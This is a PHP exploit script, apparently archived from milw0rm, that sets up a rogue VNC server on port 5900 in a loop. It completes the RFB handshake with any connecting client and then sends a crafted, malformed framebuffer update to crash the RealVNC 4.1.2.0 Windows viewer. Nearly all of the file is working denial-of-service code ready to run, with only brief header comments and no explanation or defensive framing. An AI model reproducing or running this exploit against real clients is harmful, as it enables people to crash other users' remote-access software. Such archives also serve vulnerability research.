109 lines
No EOL
3.7 KiB
PHP
109 lines
No EOL
3.7 KiB
PHP
#!/usr/bin/php
|
|
|
|
<?php
|
|
|
|
# RealVNC Windows Client DoS
|
|
# AppName: vncviewer.exe
|
|
# AppVer: 4.1.2.0
|
|
# ModName: vncviewer.exe
|
|
# ModVer: 4.1.2.0
|
|
# Offset: 000229e0
|
|
|
|
function vncear() {
|
|
|
|
$port = "5900";
|
|
$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
|
|
socket_bind($ser,"0.0.0.0", $port);
|
|
socket_listen($ser, 5);
|
|
|
|
print "\n[+] listening on $port ...\n";
|
|
|
|
$crashvnc = socket_accept($ser);
|
|
print "[+] client connected\n";
|
|
// ProtocolVersion
|
|
socket_write($crashvnc, "RFB 003.008\n");
|
|
while($i=socket_read($crashvnc, 1024)) if(substr($i,0,6) == "RFB 00") break;
|
|
print "\tprotocol has been negotiated\n";
|
|
|
|
// Security type none
|
|
socket_write($crashvnc, "\x01\x01");
|
|
while($i=socket_read($crashvnc, 1024)) if(ord($i[0])==1)break;
|
|
//$i=socket_read($crashvnc, 124);
|
|
print "\tsecurity type accepted\n";
|
|
|
|
// SecurityResult ok
|
|
socket_write($crashvnc, "\x00\x00\x00\x00");
|
|
while($i=socket_read($crashvnc, 1024))
|
|
if(ord($i[0])==0 || ord($i[0])==1)break;
|
|
//
|
|
socket_write($crashvnc, "\x04\x00". //frame buffer width
|
|
"\x03\x00". //frame buffer height
|
|
/* pixel format */
|
|
"\x20". //bits per pixel
|
|
"\x18". //depth
|
|
"\x00". // big endian flag
|
|
"\x01". // true color flag
|
|
"\x00\xFF". //red max
|
|
"\x00\xFF". //green max
|
|
"\x00\xFF". //blue max
|
|
"\x10". //red shift
|
|
"\x08". //green shift
|
|
"\x00". //blue shift
|
|
"\x00\x00\x00". //padding
|
|
/* pixel format */
|
|
"\x00\x00\x00\x08". //name lenght
|
|
"\x41\x4E\x59\x55\x4C\x49\x4E\x41" // name ANYULINA
|
|
);
|
|
|
|
|
|
socket_write($crashvnc,
|
|
"\x00\x00\x00\x03". //frame buffer update
|
|
"\x00\x05\xFF\xFF\x00\x11\x00\x14\xFF\xFF\xFF\x11".
|
|
"\x3F\x3F\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
|
|
"\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
|
|
"\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F".
|
|
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F".
|
|
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F".
|
|
"\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F".
|
|
"\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x00\x00\x3F".
|
|
"\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F".
|
|
|
|
"\x00\x00\x00\x3F".
|
|
"\x00\x3F\x3F\x00\x00\x3F\x3F".
|
|
"\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x3F\x3F\x3F\x00\x3F".
|
|
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
|
|
"\x00\x3F\x3F\x00\x3F\x00\x3F\x3F\x00".
|
|
"\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
|
|
"\x00\x3F\x3F\x00\x3F".
|
|
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00".
|
|
"\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F".
|
|
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
|
|
"\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00".
|
|
"\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00".
|
|
"\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
|
|
"\x00\x3F\x3F\x3F\x3F\x3F\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
|
|
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
|
|
"\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x06".
|
|
"\x00\x00\x0F\x00\x00\x0F\x00\x00\x0F\x00\x00".
|
|
"\x0F\x00\x00\x0F\xC0\x00\x0F\xF8\x00\x0F\xFC\x00\x6F\xFF\x00\xFF".
|
|
"\xFF\x80\xFF\xFF\x80\x7F\xFF\x80\x3F\xFF\x80\x3F\xFF\x80\x3F\xFF".
|
|
"\x80\x1F\xFF\x80\x0F\xFF\x00\x0F\xFF\x00\x07\xFE\x00\x03\xFE\x00".
|
|
"\x00\x00\x00\x00\x04\x00\x03\x00\x00\x00\x00\x10\x00\x00\x94\xFA");
|
|
|
|
print "\tit should be dead already";
|
|
while(socket_read($crashvnc, 1024)) print ".";
|
|
socket_close($crashvnc);
|
|
socket_close($ser);
|
|
|
|
}
|
|
|
|
print "RealVNC Windows Client DoS (http://realvnc.com/)\n";
|
|
|
|
for (;;)
|
|
vncear();
|
|
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2008-08-01]
|